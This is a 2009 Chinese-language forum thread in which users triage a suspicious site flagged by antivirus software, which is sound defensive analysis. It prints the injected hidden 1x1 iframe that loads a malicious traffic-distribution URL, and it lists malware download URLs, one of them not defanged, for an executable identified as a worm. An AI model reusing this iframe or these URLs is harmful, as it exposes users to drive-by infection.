hXXp://qnk.smartsalesgroup.com[by aarwwefdds]

显示全部楼层 · 发表于 2009-3-6 21:26:50

要求的物件感染下列病毒： Trojan-Clicker.HTML.IFrame.adv

显示全部楼层 · 发表于 2009-3-6 21:53:11

去试下

显示全部楼层 · 发表于 2009-3-6 22:22:52

从HTTP头中看到了一个很熟悉的家伙...nginx/0.6.33

显示全部楼层 · 发表于 2009-3-6 22:36:56

...怎么都请求不到这个该死的IFRAME（hxxp://chatloveonline.com/tds/sah7）...

顺带这个网站比较可疑的东西...
http://qnk.smartsalesgroup.com/sales.exe

显示全部楼层 · 发表于 2009-3-6 22:38:53

是這個嗎??
hxxp://qnk.smartsalesgroup.com/sale.exe
http://www.virustotal.com/zh-tw/analisis/7c61a78c41842f32cbab757d734e7eec

显示全部楼层 · 发表于 2009-3-6 22:42:38

Trojan-Clicker.HTML.IFrame.adv
这个.....

显示全部楼层 · 发表于 2009-3-6 22:43:03

原帖由 said411f 于 2009-3-6 22:38 发表
是這個嗎??
hxxp://qnk.smartsalesgroup.com/sale.exe
http://www.virustotal.com/zh-tw/analisis/7c61a78c41842f32cbab757d734e7eec

明显不是....

根据报的名字，卡巴报的是这段：

<iframe src="hxxp://chatloveonline.com/tds/Sah7" width="1" height="1" style="visibility:hidden;position:absolute"></iframe>

但是就是请求不到

显示全部楼层 · 发表于 2009-3-6 22:43:10

原帖由 aarwwefdds 于 2009-3-6 22:36 发表
...怎么都请求不到这个该死的IFRAME（hxxp://chatloveonline.com/tds/sah7）...

顺带这个网站比较可疑的东西...
http://qnk.smartsalesgroup.com/sales.exe

这个是worm,卡巴已加gen....

[其它] hXXp://qnk.smartsalesgroup.com[by aarwwefdds]

回复 5楼 said411f 的帖子